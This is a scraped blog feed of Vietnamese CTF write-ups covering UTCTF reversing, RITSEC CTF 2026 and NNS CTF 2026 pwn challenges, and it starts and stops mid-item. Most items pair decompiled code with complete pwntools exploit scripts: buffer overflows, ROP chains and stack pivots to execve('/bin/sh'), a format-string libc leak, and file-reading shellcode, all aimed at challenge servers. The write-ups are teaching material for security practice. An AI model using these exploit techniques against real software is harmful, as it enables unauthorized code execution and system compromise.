}
</code></pre>
<p>Ở đây vì chương trình cho chúng ta file binary và chúng ta chạy local và có flag thay vì cố gắng tìm lỗi ta hãy tìm luôn flag vì nó đã được tải về theo.
Phân tích ta thấy hàm <code>print_flag()</code> ta tiếp tục tìm đến nó:
<img src="https://hackmd.io/_uploads/HyCvCIZcbg.png" alt="image" /></p>
<pre><code class="language-c">void print_flag(void)

{
  byte local_28 [28];
  int local_c;
  
  local_28[0] = 0x37;
  local_28[1] = 0x36;
  local_28[2] = 0x24;
  local_28[3] = 0x2e;
  local_28[4] = 0x23;
  local_28[5] = 0x25;
  local_28[6] = 0x39;
  local_28[7] = 0x24;
  local_28[8] = 0x72;
  local_28[9] = 0x30;
  local_28[10] = 0x2f;
  local_28[0xb] = 0x76;
  local_28[0xc] = 0x36;
  local_28[0xd] = 0x1d;
  local_28[0xe] = 0x31;
  local_28[0xf] = 0x36;
  local_28[0x10] = 0x30;
  local_28[0x11] = 0x73;
  local_28[0x12] = 0x2c;
  local_28[0x13] = 0x25;
  local_28[0x14] = 0x1d;
  local_28[0x15] = 0x2e;
  local_28[0x16] = 0x71;
  local_28[0x17] = 0x76;
  local_28[0x18] = 0x29;
  local_28[0x19] = 0x71;
  local_28[0x1a] = 0x26;
  local_28[0x1b] = 0x3f;
  for (local_c = 0; local_c &lt; 0x1c; local_c = local_c + 1) {
    putchar((uint)(local_28[local_c] ^ 0x42));
  }
  putchar(10);
  return;
}
</code></pre>
<p>Ở đây thuật toán sẽ là 0x37 ^ 0x42 = 0x75 -&gt; u
Cứ thế ta sẽ được chuỗi FLAG!!!
FLAG: <code>utflag{f0rm4t_str1ng_l34k3d}</code></p>
<h1>Write up Rude Guard</h1>
<p>Author: niddalA
Date: 13/03/2026
<img src="https://hackmd.io/_uploads/ry-w1wW5Wl.png" alt="image" />
Ở Challange này tiếp tục cung cấp cho chúng ta file binary
Dùng ghidra để xem được source code của chương trình.
<img src="https://hackmd.io/_uploads/SkL2kw-cbl.png" alt="image" />
Tìm hàm main và ta được Source Code:</p>
<pre><code class="language-c">undefined8 main(int param_1,long param_2)

{
  int iVar1;
  
  if (param_1 == 1) {
    puts("Are you not going to say hello?");
  }
  else {
    iVar1 = atoi(*(char **)(param_2 + 8));
    if (iVar1 == 0x656c6c6f) {
      puts("Hi. What do you want.");
      read_input(0);
    }
    else {
      puts("Hi. Go away.");
    }
  }
  return 0;
}
</code></pre>
<p>Tiếp theo chúng ta xem hàm read_input() làm những gì
<img src="https://hackmd.io/_uploads/BJVHBvWcZx.png" alt="image" /></p>
<pre><code class="language-c">undefined8 read_input(int param_1)

{
  int iVar1;
  char local_28 [32];
  
  read(param_1,local_28,100);
  iVar1 = strcmp(local_28,"givemeflag\n");
  if (iVar1 == 0) {
    puts("How rude! utflag{you\'re going to need a sneakier way in...}");
  }
  else {
    puts("I won\'t let you pass. No matter what.");
  }
  return 0;
}
</code></pre>
<p>Ở đây ta nhận được chuỗi flag giả là: <code>utflag{you\'re going to need a sneakier way in...}</code>
Ta thấy trong main chỉ có hàm read_input được gọi nhưng bây giờ hãy thử tìm kiếm hàm ẩn bằng lệnh sau:
<img src="https://hackmd.io/_uploads/r1KTFvW9Wx.png" alt="image" />
Ở đây thay vì cố gắng NOP để vào nó ta tìm kiếm nó luôn trong ghidra vì challenge không bắt chúng ta chạy trên server nên chắc chắn flag sẽ load luôn vào khi ta tải file.
<img src="https://hackmd.io/_uploads/ByqzcvZqZx.png" alt="image" />
Source Code:</p>
<pre><code class="language-c">undefined8 secret_function(void)

{
  byte local_48 [52];
  int local_14;
  byte local_d;
  int local_c;
  
  local_d = 0x32;
  local_48[0] = 0x47;
  local_48[1] = 0x46;
  local_48[2] = 0x54;
  local_48[3] = 0x5e;
  local_48[4] = 0x53;
  local_48[5] = 0x55;
  local_48[6] = 0x49;
  local_48[7] = 0x55;
  local_48[8] = 0x47;
  local_48[9] = 6;
  local_48[10] = 0x40;
  local_48[0xb] = 0x56;
  local_48[0xc] = 0x6d;
  local_48[0xd] = 0x45;
  local_48[0xe] = 6;
  local_48[0xf] = 0x41;
  local_48[0x10] = 0x6d;
  local_48[0x11] = 0x45;
  local_48[0x12] = 1;
  local_48[0x13] = 6;
  local_48[0x14] = 0x59;
  local_48[0x15] = 0x57;
  local_48[0x16] = 0x40;
  local_48[0x17] = 0x6d;
  local_48[0x18] = 0x46;
  local_48[0x19] = 0x5a;
  local_48[0x1a] = 6;
  local_48[0x1b] = 0x5c;
  local_48[0x1c] = 0x6d;
  local_48[0x1d] = 0x5b;
  local_48[0x1e] = 0x6d;
  local_48[0x1f] = 0x46;
  local_48[0x20] = 0x5a;
  local_48[0x21] = 2;
  local_48[0x22] = 0x47;
  local_48[0x23] = 0x55;
  local_48[0x24] = 0x5a;
  local_48[0x25] = 0x46;
  local_48[0x26] = 0x4f;
  local_14 = 0x27;
  for (local_c = 0; local_c &lt; local_14; local_c = local_c + 1) {
    putchar((uint)(local_48[local_c] ^ local_d));
  }
  return 0;
}
</code></pre>
<p>Tính toán ta sẽ ra FLAG!!!
FLAG: <code>utflag{gu4rd_w4s_w34ker_th4n_i_th0ught}</code></p>
]]></content:encoded></item><item><title><![CDATA[WRITE UP RISEC CTF 2026 (FOR PRACTICE)]]></title><description><![CDATA[WRITE UP RISEC CTF 2026 (FOR PRACTICE)
Author: niddalA Date: 06/04/2026 Credit:


(Tham khảo bài 2,3,4 - Đã chỉnh sửa lại một số chỗ)
1. BAKE A PIE


PHÂN TÍCH
Challenge cho ta một file zip, sau khi e]]></description><link>https://niddala.hashnode.dev/write-up-risec-ctf-2026-for-practice</link><guid isPermaLink="true">https://niddala.hashnode.dev/write-up-risec-ctf-2026-for-practice</guid><dc:creator><![CDATA[Dân Hồ]]></dc:creator><pubDate>Mon, 14 Sep 2026 15:09:31 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6aa7d555802931d57df3084c/ec291faf-66c0-4b0c-b95a-1801927311a2.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>WRITE UP RISEC CTF 2026 (FOR PRACTICE)</h1>
<p>Author: niddalA Date: 06/04/2026 Credit:</p>
<img src="https://hackmd.io/_uploads/Bk0mnieh-g.png" alt="image" style="display:block;margin:0 auto" />

<p>(Tham khảo bài 2,3,4 - Đã chỉnh sửa lại một số chỗ)</p>
<h2>1. BAKE A PIE</h2>
<img src="https://hackmd.io/_uploads/rk2V8ix2Wg.png" alt="image" style="display:block;margin:0 auto" />

<h3>PHÂN TÍCH</h3>
<p>Challenge cho ta một file zip, sau khi extract file ta được một file binary SOURCE CODE:</p>
<pre><code class="language-c">
void main(void)

{
  uint uVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  char local_29;
  uint local_28;
  uint local_24;
  undefined8 local_20;
  
  local_20 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  puts("I want to create the perfect pi recipe, but can\'t quite get it right...");
  puts("Can you help me bake the perfect pi?");
  putchar(10);
  do {
    while( true ) {
      while( true ) {
        puts("------------------------------------------------------------");
        printf("(S)how recipe, (C)change ingredient, (T)aste test: ");
        __isoc99_scanf("%c%*c",&amp;local_29);
        if (local_29 != 'T') break;
        if (pi == 3.141592653589793) {
          puts("Yummy! This is the perfect pi!");
          execl("/bin/bash","/bin/bash",0);
        }
        else {
          puts("Still doesn\'t taste right. Let\'s try a different recipe.");
        }
      }
      if (local_29 &lt; 'U') break;
LAB_0040140e:
      printf("Unknown option \'%c\'\n",(ulong)(uint)(int)local_29);
    }
    if (local_29 == 'C') {
      printf("Which ingredient would you like to change?: ");
      __isoc99_scanf("%u%*c",&amp;local_28);
      if (local_28 &lt; 9) {
        printf("Enter ingredient: ");
        fgets(ingredients + (ulong)local_28 * 0x20,0x20,stdin);
        uVar1 = local_28;
        sVar2 = strlen(ingredients + (ulong)local_28 * 0x20);
        *(undefined1 *)((ulong)uVar1 * 0x20 + sVar2 + 0x40407f) = 0;
      }
      else {
        puts("The recipe doesn\'t have that many ingredients");
      }
    }
    else {
      if (local_29 != 'S') goto LAB_0040140e;
      for (local_24 = 0; local_24 &lt; 8; local_24 = local_24 + 1) {
        printf("%d. %s\n",(ulong)local_24,ingredients + (ulong)local_24 * 0x20);
      }
    }
  } while( true );
}
</code></pre>
<p>Chương trình mắc lỗi ở OPTION 'C', Cụ thể là lỗi OOB (Out Of Bounds)</p>
<pre><code class="language-c">printf("Which ingredient would you like to change?: ");
__isoc99_scanf("%u%*c",&amp;local_28);
if (local_28 &lt; 9) { // &lt;--- LỖ HỔNG Ở ĐÂY
    printf("Enter ingredient: ");
    fgets(ingredients + (ulong)local_28 * 0x20, 0x20, stdin);
}
</code></pre>
<p>Ở trong tùy chọn S chương trình chỉ in ra 0-&gt;7 tổng là 8 phần tử:</p>
<pre><code class="language-c">for (local_24 = 0; local_24 &lt; 8; local_24 = local_24 + 1) {
        printf("%d. %s\n",(ulong)local_24,ingredients + (ulong)local_24 * 0x20);
}
</code></pre>
<p>Nhưng ở OPTION C cho nhập tới index 8 Điều kiện để win bài này rất đơn giản</p>
<pre><code class="language-c">if (pi == 3.141592653589793) {
          puts("Yummy! This is the perfect pi!");
          execl("/bin/bash","/bin/bash",0);
}
</code></pre>
<p>Nếu ghi đè được biến pi thành 3.141592653589793 thì hàm sẽ vào SHELL!!! vì biến pi nằm ngay sau mảng ingredients(tạm gọi) khi ta nhập index = 8 tương đương với ingredients[8] == pi (vì mảng ingredients chỉ đến index 7) thì ta sẽ ghi đè được vào biến pi Ta đổi: 3.141592653589793 == 0x400921fb54442d18</p>
<h3>PAYLOAD</h3>
<pre><code class="language-python">from pwn import *
p = remote('bake-a-pi.ctf.ritsec.club',1555)

p.sendlineafter(b'?', b'C')
p.sendlineafter(b':', b'8')
p.sendlineafter(b':', p64(0x400921fb54442d18))
p.sendline(b'T')

p.interactive()
</code></pre>
<p><code>FLAG: RS{0ff_by_0n3_4s_e4sy_4s_4_sk1llb17_p1}</code></p>
<h2>2. doMonkeysSwim</h2>
<img src="https://hackmd.io/_uploads/ryZGqixhbx.png" alt="image" style="display:block;margin:0 auto" />

<h3>Phân tích:</h3>
<img src="https://hackmd.io/_uploads/rk89ijxhbg.png" alt="image" style="display:block;margin:0 auto" />

<p>Bài có 6 option trong đó có 3 option sau có dính lỗi: <code>Monket see</code>: Cho phép nhập index để in ra một giá trị. Không có cơ chế kiểm tra giới hạn (Out-of-bounds Read). Nếu nhập index = 3, ta rò rỉ (leak) được Stack Canary <code>Monkey swaperoo</code>: Cho phép ghi một lượng lớn dữ liệu tùy ý vào một vùng nhớ BSS có tên là bed (địa chỉ cố định 0x4cca60). <code>Monkey do</code>: Sử dụng hàm <code>fgets(buf, 40, stdin)</code>. buf nằm cách Canary 24 bytes. Ta có 24 (padding) + 8 (Canary) + 8 (Saved RBP) = 40 bytes. Đây là lỗi Stack/Buffer Overflow vừa khít để ghi đè RBP, mở đường cho kỹ thuật Stack Pivot.</p>
<h3>Ý tưởng khai thác:</h3>
<p>Vì fgets chỉ cho phép ghi đè đúng đến Saved RBP (không chạm tới được Saved RIP), ta không thể chạy ROP chain trực tiếp trên Stack. Giải pháp là kết hợp Stack Pivot và BSS Injection.</p>
<ol>
<li><p>Leak Canary. Lấy Canary từ <code>Option 3</code> để chuẩn bị cho payload overflow, đảm bảo chương trình không bị crash khi kết thúc hàm.</p>
</li>
<li><p>Ghi một ROP Chain hoàn chỉnh và chuỗi "/bin/sh\x00" vào vùng nhớ bed thông qua <code>Option 5</code>.</p>
</li>
<li><p>Dùng Option 4, gửi payload đè 24 bytes rác + Canary xịn + Saved RBP trỏ về vùng nhớ bed.</p>
</li>
<li><p>Khi hàm main kết thúc, lệnh leave; ret sẽ gán RSP = RBP, khiến Stack bị xoay (pivot) sang vùng bed và bắt đầu thực thi ROP Chain.</p>
</li>
</ol>
<h3>PAYLOAD</h3>
<pre><code class="language-python">#!/usr/bin/env python3
from pwn import *

exe = ELF("doMonkeysSwim_patched", checksec=False)
context.binary = exe
context.log_level = "debug"
context.terminal = ['alacritty', '-e']

def main():
    io = remote("dms.ctf.ritsec.club", 1400)

    io.recvuntil(b"&gt;&gt; ")

    io.sendline(b"3")
    io.sendline(b"3")
    io.recvuntil(b"0x")
    canary = int(io.recvline().strip(), 16)
    io.recvuntil(b"&gt;&gt; ")

    bed = exe.sym["bed"]
    poprdi = 0x401f43
    poprsi = 0x401f45
    poprdx = 0x401f47
    poprax = 0x401f49
    syscall = 0x401f26

    payload = p64(canary)
    payload += p64(0)
    payload += p64(poprdi)
    payload += p64(bed + 0x58)
    payload += p64(poprsi)
    payload += p64(0)
    payload += p64(poprdx)
    payload += p64(0)
    payload += p64(poprax)
    payload += p64(59)
    payload += p64(syscall)
    payload += b"/bin/sh\x00"

    io.sendline(b"5")
    io.recvuntil(b"Swap this: ")
    io.send(payload)
    io.send(b"\n")
    io.recvuntil(b"With this: ")
    io.sendline(b"B")
    io.recvuntil(b"&gt;&gt; ")

    overflow = b"A" * 0x18 + p64(canary) + p64(bed + 8)[:-1]
    io.sendline(b"4")
    io.send(overflow)
    io.send(b"\n")
    io.recvuntil(b"&gt;&gt; ")

    io.sendline(b"6")
    io.interactive()


if __name__ == "__main__":
    main()
</code></pre>
<pre><code class="language-plaintext">FLAG: RS{wh3r3_h4s_4ll_th3_rum_g0n3_mr_m0nk3y_m4n?}
</code></pre>
<h2>3. Marauder Might</h2>
<img src="https://hackmd.io/_uploads/H1VNcsg2-e.png" alt="image" style="display:block;margin:0 auto" />

<p>Tổng quan: Một máy ảo (Virtual Machine) tùy chỉnh có lỗi logic trong việc quản lý ngăn xếp (Stack Management).</p>
<h3>Phân tích tĩnh (Static Analysis)</h3>
<h4>Luồng thực thi chính (main):</h4>
<p>Hàm main tại 0x4009e8 thực hiện các công việc cơ bản: thiết lập buffering cho stdout/stdin và bắt đầu một vòng lặp nạp/chạy chương trình VM.</p>
<pre><code class="language-c">while (readprogram(&amp;var_20, 0) == 0) {
    runprogram(&amp;var_20); // Thực thi logic VM
    freeprogram(&amp;var_20);
}
</code></pre>
<h4>Kiến trúc ngăn xếp của VM (Host Stack Frame):</h4>
<p>Điểm mấu chốt nằm ở cách hàm runprogram (tại 0x400890) thiết lập Stack Frame trên kiến trúc AArch64.</p>
<p>Dựa trên mã máy:</p>
<pre><code class="language-plaintext">00400890  sub  sp, sp, #0x820     ; Cấp phát 0x820 bytes
00400894  stp  fp, lr, [sp]       ; Lưu Frame Pointer và Link Register (Return Address)
00400898  mov  fp, sp             ; FP trỏ vào đáy stack hiện tại
</code></pre>
<p>Trong AArch64, lr (Link Register - địa chỉ trả về) được lưu tại [sp + 0x8]. Ngay phía trên nó, từ [sp + 0x10] trở đi, là vùng nhớ dành cho VM Stack.</p>
<h4>Lỗ hổng Underflow tại hàm Pop:</h4>
<p>Máy ảo sử dụng một con trỏ toàn cục <code>data_4a1968</code> để quản lý đỉnh ngăn xếp của nó (VM SP). Hãy nhìn vào hàm pop tại 0x40083c:</p>
<pre><code class="language-plaintext">0040083c    data_4a1968 -= 8        // Giảm con trỏ VM SP đi 8 đơn vị (lùi về 1 slot)
00400850    result.q = *data_4a1968 // Trả về giá trị tại vị trí mới
00400854    return result
</code></pre>
<p>Lỗ hổng: Hàm này hoàn toàn không kiểm tra biên dưới (Lower bound check). Nếu chương trình VM thực hiện lệnh pop khi stack đang rỗng (con trỏ đang ở sp + 0x10), con trỏ sẽ bị trừ đi 8 và nhảy về sp + 0x8.</p>
<p>Hệ quả: Vị trí sp + 0x8 chính là nơi lưu trữ lr của hàm Host. Chúng ta có thể đọc hoặc ghi đè địa chỉ trả về của hàm runprogram bằng các lệnh VM.</p>
<h3>Phân tích Opcode và Logic VM</h3>
<p>Máy ảo xử lý các byte dữ liệu (Opcodes) theo luồng sau: <code>Opcode 0x01</code>: Thoát vòng lặp (break), kết thúc chương trình VM. <code>Opcode 0x02</code>: Nhánh lệnh phức tạp. Nếu byte tiếp theo là 0x02: Gọi sub_400824(), hàm này thực chất thực hiện lệnh pop. <code>Opcode 0x00</code>: Đọc một byte index và đẩy một giá trị từ bảng dữ liệu vào stack (push).</p>
<h3>Kịch bản khai thác</h3>
<p>Để chiếm quyền điều khiển, chúng ta cần thực hiện các bước sau:</p>
<ol>
<li><p>Đưa địa chỉ mục tiêu vào bộ nhớ: Chúng ta cần địa chỉ của hàm win (0x400780) xuất hiện trong luồng xử lý để có thể ghi nó vào ngăn xếp.</p>
</li>
<li><p>Kích hoạt Underflow: Gửi chuỗi Opcode \x02\x02. Lúc này, con trỏ ngăn xếp của VM (data_4a1968) sẽ bị lùi từ sp + 0x10 về sp + 0x8 (đúng vị trí của lr).</p>
</li>
<li><p>Ghi đè LR: Thực hiện một thao tác ghi (như nạp dữ liệu chương trình) để giá trị 0x400780 đè lên địa chỉ trả về cũ.</p>
</li>
<li><p>Kích hoạt thực thi: Gửi Opcode \x01 để VM thoát vòng lặp. Khi hàm runprogram thực hiện lệnh ret, nó sẽ nạp giá trị tại sp + 0x8 (lúc này đã là địa chỉ hàm win) vào Program Counter (PC).</p>
</li>
</ol>
<h3>PAYLOAD</h3>
<pre><code class="language-python">from pwn import *

# Thiết lập môi trường
context.binary = ELF("./fractured_ship")
context.arch = "aarch64"
win_addr = 0x400780

# Xây dựng Payload
payload = p32(1)              # Header/Số lượng lệnh (tùy thuộc vào readprogram)
payload += p64(win_addr)      # Dữ liệu sẽ được dùng để ghi đè vào LR
payload += b"\x02\x02"        # Lệnh Pop lậu -&gt; Khiến VM SP trỏ vào LR trên Host Stack
payload += b"\x00\x00"        # Padding/Tham số bổ sung
payload += b"\x01"            # Lệnh Stop -&gt; Thoát VM và nhảy tới hàm Win

io = remote("marauder-might.ctf.ritsec.club", 1739)
io.send(payload)
io.interactive()
</code></pre>
<pre><code class="language-plaintext">FLAG: RS{th3_G4rc1a_0F_gr4pp1in6}
</code></pre>
<h2>4. Carening</h2>
<img src="https://hackmd.io/_uploads/rJEss3e3Wl.png" alt="image" style="display:block;margin:0 auto" />

<h3>PAYLOAD</h3>
<pre><code class="language-plaintext">#!/usr/bin/env python3
from pwn import *

# Thiết lập môi trường
context.arch = 'amd64'
context.encoding = 'utf-8'

# Thông tin mục tiêu
host = "careening.ctf.ritsec.club"
port = 1501
libc = ELF("./libc.so.6", checksec=False) # Đảm bảo file libc nằm cùng thư mục

def get_io():
    return remote(host, port)

# --- STAGE 1: LEAK LIBC ---
log.info("Bắt đầu Stage 1: Leak địa chỉ Libc...")
io = get_io()

# Sử dụng Format String thông qua User-Agent để leak atoll (tham số thứ 1)
# Theo disassembly: snprintf(&amp;s, 0x100, &amp;format, atoll, __return_addr, ...)
leak_payload = (
    b"GET /msg/0 HTTP/1.0\r\n"
    b"Host: " + host.encode() + b"\r\n"
    b"X-Debug: 1\r\n"
    b"User-Agent: %p|%p\r\n" # %p đầu tiên sẽ là địa chỉ của hàm atoll
    b"\r\n"
)

io.send(leak_payload)
io.recvuntil(b"X-Debug-Info: ")

# Lấy địa chỉ leak và tính toán Libc Base
leaks = io.recvline().strip().split(b"|")
atoll_leak = int(leaks[0], 16)
libc.address = atoll_leak - libc.sym['atoll']

log.success(f"Atoll leak: {hex(atoll_leak)}")
log.success(f"Libc base:  {hex(libc.address)}")

io.close()

# --- STAGE 2: EXPLOIT OVERFLOW ---
log.info("Bắt đầu Stage 2: Ghi đè stack và gọi system('/bin/sh')...")
shell = get_io()

# Tìm địa chỉ system và chuỗi "/bin/sh" trong libc đã leak
system_addr = libc.sym['system']
binsh_addr = next(libc.search(b"/bin/sh\x00"))

# Payload overflow:
# Padding 0x210 bytes để chạm đến rsp+0x230 (nơi lưu hàm sẽ được call)
# Ghi đè [rsp+0x230] bằng system
# Ghi đè [rsp+0x238] bằng địa chỉ "/bin/sh" (để nạp vào RDI)
overflow_data = b"A" * 0x210
overflow_data += p64(system_addr)
overflow_data += p64(binsh_addr)

# Gửi POST request với Content-Length đủ lớn để trigger memcpy overflow
post_payload = (
    b"POST /msg/0 HTTP/1.0\r\n"
    b"Host: " + host.encode() + b"\r\n"
    b"Content-Length: " + str(len(overflow_data)).encode() + b"\r\n"
    b"\r\n"
    + overflow_data
)

shell.send(post_payload)

log.success("Đã gửi payload. Đang chuyển sang chế độ tương tác...")
shell.interactive()
</code></pre>
<pre><code class="language-plaintext">FLAG: RS{CFI_b1ind_sp0t_g0t_us3d_4g41n5t_b04rd_53cur1ty}
</code></pre>
]]></content:encoded></item><item><title><![CDATA[PWN challenge NNS CTF 2026 Write Up]]></title><description><![CDATA[PWN challenge NNS CTF 2026 Write Up
BYOC




Analyse
Chương trình cho ta 3 file:

file exe

file chall.c

file README.md


#include <sys/mman.h>
#include <unistd.h>

int main(void) {
    void *code = ]]></description><link>https://niddala.hashnode.dev/pwn-challenge-nns-ctf-2026-write-up</link><guid isPermaLink="true">https://niddala.hashnode.dev/pwn-challenge-nns-ctf-2026-write-up</guid><category><![CDATA[pwn]]></category><category><![CDATA[CTF]]></category><dc:creator><![CDATA[Dân Hồ]]></dc:creator><pubDate>Mon, 14 Sep 2026 12:40:25 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6aa7d555802931d57df3084c/f8bfe0e1-96f5-4ac2-817a-0a5d83f8fe9a.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>PWN challenge NNS CTF 2026 Write Up</h1>
<h2>BYOC</h2>
<img src="https://hackmd.io/_uploads/BJUIhbtuMg.png" alt="image" style="display:block;margin:0 auto" />

<img src="https://hackmd.io/_uploads/HkhF2-tOfe.png" alt="image" style="display:block;margin:0 auto" />

<h3>Analyse</h3>
<p>Chương trình cho ta 3 file:</p>
<ol>
<li><p>file exe</p>
</li>
<li><p>file chall.c</p>
</li>
<li><p>file README.md</p>
</li>
</ol>
<pre><code class="language-c">#include &lt;sys/mman.h&gt;
#include &lt;unistd.h&gt;

int main(void) {
    void *code = mmap(NULL, 200, PROT_READ | PROT_WRITE | PROT_EXEC,
                      MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    write(STDOUT_FILENO, "&gt; ", 2);
    read(STDIN_FILENO, code, 200);
    ((void (*)(void))code)();
}
</code></pre>
<p>Ta thấy chương trình cấp phát một vùng nhớ <code>code</code> 200 bytes bằng lệnh</p>
<pre><code class="language-c">void *code = mmap(NULL, 200, PROT_READ | PROT_WRITE | PROT_EXEC,
                      MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
</code></pre>
<p>Cho phép read, write và execute vào vùng nhớ đấy Tiếp theo chương trình in ra "&gt; " bằng lệnh</p>
<pre><code class="language-c">write(STDOUT_FILENO, "&gt; ", 2);
</code></pre>
<p>Và chương trình cho ta nhập trực tiếp vào vùng nhớ <code>code</code> bằng lệnh</p>
<pre><code class="language-c">read(STDIN_FILENO, code, 200);
</code></pre>
<p>Con trỏ hàm:</p>
<pre><code class="language-c">((void (*)(void))code)();
</code></pre>
<p>Lúc này CPU coi những gì bạn nhập vào là mã máy và thực hiện chúng</p>
<h3>Ý tưởng</h3>
<p>Viết lệnh mở -&gt; đọc và ghi nội dụng file flag.txt ra màn hình</p>
<h3>Payload</h3>
<pre><code class="language-python">from pwn import *

context.arch = 'amd64'
context.os = 'linux'

shellcode = asm(shellcraft.open('flag.txt') + #lệnh này trả về mã định danh file được lưu vào rax
                shellcraft.read('rax', 'rsp', 0x100) + #lấy rax được trả ở lệnh trước và đọc 0x100 byte trong file đấy và ghi sang stack
                shellcraft.write(1, 'rsp', 0x100)) #1 là mã của STDOUT (in ra màn hình) và in ra 0x100 bytes vừa đọc được ra màn hình rsp làm mốc

io = remote('byoc-017745a6cb23.chall.nnsc.tf', 1337, ssl=True)

io.sendafter(b'&gt; ', shellcode)

print(io.recvall().decode(errors='ignore')) #lấy dữ liệu trên server trả về
</code></pre>
<h2>Echo Chamber</h2>
<h3>Analyse</h3>
<img src="https://hackmd.io/_uploads/BkfGTbK_fl.png" alt="image" style="display:block;margin:0 auto" />

<img src="https://hackmd.io/_uploads/S1bvQMYuGx.png" alt="image" style="display:block;margin:0 auto" />

<p>Mã nguồn chương trình:</p>
<pre><code class="language-c">#include &lt;stdio.h&gt;

int main(void) {
    char flag[128], input[128];

    setbuf(stdout, NULL);
    fgets(flag, sizeof(flag), fopen("/flag.txt", "r"));

    for (int i = 0; i &lt; 16; i++) {
        printf("&gt; ");
        if (!fgets(input, sizeof(input), stdin))
            break;
        printf(input);
    }
}
</code></pre>
<p>Ta thấy chương trình bị lỗi format string ở:</p>
<pre><code class="language-c">printf(input);
</code></pre>
<p>vì chương trình đã đọc file flag và lưu vào biến<code>flag</code> trong stack cho nên ta có thể dùng lỗi format string để có thể đọc nội dung biến flag nằm trong stack nhờ đó có thể có flag.</p>
<h3>Payload</h3>
<pre><code class="language-python">from pwn import *

HOST = 'echo-chamber-c3eae7e37148.chall.nnsc.tf'
PORT = 1337

io = remote(HOST, PORT, ssl=True)

payload = b".".join([f"%{i}$p".encode() for i in range(22, 29)]) #Brute-force một giải dài từ 1 -&gt; 50 và nhận được index thứ 22 đến 28 là flag, lệnh này tương đương với việc gửi %22$p.%23$p...%28$p tức đọc giá trị nằm tại ô nhớ thứ i và in ra dưới dạng hex.

io.recvuntil(b"&gt; ")
io.sendline(payload)

response = io.recvline().decode(errors='ignore').strip() #loại bỏ khoảng trắng hoặc xuống dòng ở đầu và cuối chuỗi
log.info(f"Raw: {response}")

# Giải mã từng phần
parts = response.split('.')#lưu các giá trị in ra thành một mảng
flag = ""

for p in parts:
    if p.startswith("0x"): #xem có trả về đúng là hex dạng 0x không vì có lúc trả về (nil)
        hex_str = p[2:] #bỏ 0x
        if len(hex_str) % 2 != 0:
            hex_str = "0" + hex_str
        # Reverse byte (Little-Endian)
        flag += bytes.fromhex(hex_str)[::-1].decode(errors='ignore') #vừa reverse byte vừa chuyển sang text

log.success(f"FLAG HOÀN CHỈNH: {flag.strip()}")
io.close()
</code></pre>
<h2>pset1</h2>
<p>:::info</p>
<img src="https://hackmd.io/_uploads/BkGOvzY_Gx.png" alt="image" style="display:block;margin:0 auto" />

<img src="https://hackmd.io/_uploads/HkLFwfYdfg.png" alt="image" style="display:block;margin:0 auto" />

<p>::: Chương trình cho ta một file hello.exe Mã nguồn chương trình:</p>
<pre><code class="language-c">undefined8 main(void)
{
  undefined1 local_48 [64];
  
  setvbuf((FILE *)stdout,(char *)0x0,2,0);
  puts("What is your name?");
  printf("&gt; ");
  fflush((FILE *)stdout);
  read(0,local_48,0x100);
  printf("hello, %.64s\n",local_48);
  return 0;
}
</code></pre>
<p>Ta thấy chương trình bị mắc lỗi Buffer Overflow đủ dài để có thể overwrite return_address Tìm tiếp trong ghidra ta thấy tiếp một hàm win() ẩn</p>
<pre><code class="language-c">
void win(void)

{
  char *pcVar1;
  char acStack_a0 [136];
  FILE *local_18;
  
  local_18 = fopen64("/flag.txt","r");
  if (local_18 != (FILE *)0x0) {
    pcVar1 = fgets(acStack_a0,0x80,local_18);
    if (pcVar1 != (char *)0x0) {
      fputs(acStack_a0,(FILE *)stdout);
    }
  }
                    /* WARNING: Subroutine does not return */
  _exit(0);
}
</code></pre>
<p>Ta thấy checksec chương trình báo có canary nhưng khi <code>disass main</code> hoặc khi nhìn vào mã nguồn main ta không thấy có canary =&gt; main không có canary Vậy ý tưởng là pass qua biến local_48, Saved RBP tổng cộng 64+8=72bytes và overwrite return_address của main thành hàm win</p>
<h3>Payload</h3>
<p>Trước tiên ta cần tìm giá trị của win</p>
<img src="https://hackmd.io/_uploads/Bkjc_ztOMe.png" alt="image" style="display:block;margin:0 auto" />

<pre><code class="language-python">from pwn import *

p = remote('pset1-c3fc1f64562c.chall.nnsc.tf',1337,ssl='True')

payload = b'A'*(64+8) + p64(0x401b00)
p.sendafter(b'&gt; ',payload)
p.interactive()
</code></pre>
<h2>No win</h2>
<img src="https://hackmd.io/_uploads/B1K4tGFOfx.png" alt="image" style="display:block;margin:0 auto" />

<img src="https://hackmd.io/_uploads/rkd8FztOGl.png" alt="image" style="display:block;margin:0 auto" />

<h3>Analyse</h3>
<p>Chương trình cho ta một file no_win.exe Mã nguồn của nó:</p>
<pre><code class="language-c">
undefined8 main(void)

{
  undefined1 local_48 [64];
  
  setvbuf((FILE *)stdout,(char *)0x0,2,0);
  puts("no win(), so good luck");
  printf("&gt; ");
  read(0,local_48,0x200);
  return 0;
}

</code></pre>
<p>Như đề bài, bài này hoàn toàn không có hàm win ẩn mở file flag.txt và chương trình bị lỗi buffer overflow y như bài <code>pset1</code> Ý tưởng là sử dụng ROP_gadget để gọi <code>execve('/bin/sh', 0, 0)</code> lấy quyền shell từ đó đọc được file flag.txt</p>
<h3>Payload</h3>
<p>vì chúng ta không tìm được chữ <code>\bin\sh</code> cho nên ta ghi <code>\bin\sh</code> vào bss rồi trỏ con trỏ tới đó.</p>
<pre><code class="language-python">from pwn import *

elf = ELF('./no-win')
p = remote('no-win-scenario-249244a6b025.chall.nnsc.tf', 1337,ssl='True')
 
ret_addr        = 0x000000000040101a  # ret (align stack)
pop_rdi_rbp_ret = 0x0000000000402128  # pop rdi ; pop rbp ; ret
pop_rsi_rbp_ret = 0x000000000040a3c2  # pop rsi ; pop rbp ; ret
pop_rdx_ret     = 0x0000000000413210  # pop rdx ; ret
pop_rax_ret     = 0x0000000000427eeb  # pop rax ; ret
syscall_addr    = 0x0000000000401324  # syscall
# Các gadget này tìm bằng ROPgadget

read_addr = 0x41feb0  # Địa chỉ hàm read lấy từ disassembly main
bss_addr  = 0x4aa100  # Địa chỉ vùng Writable (rw-p)

offset = 72  # 64 byte buffer + 8 byte Saved RBP

# --- 2. DỰNG ROP CHAIN ---
payload = b"A" * offset

# Align Stack
payload += p64(ret_addr)

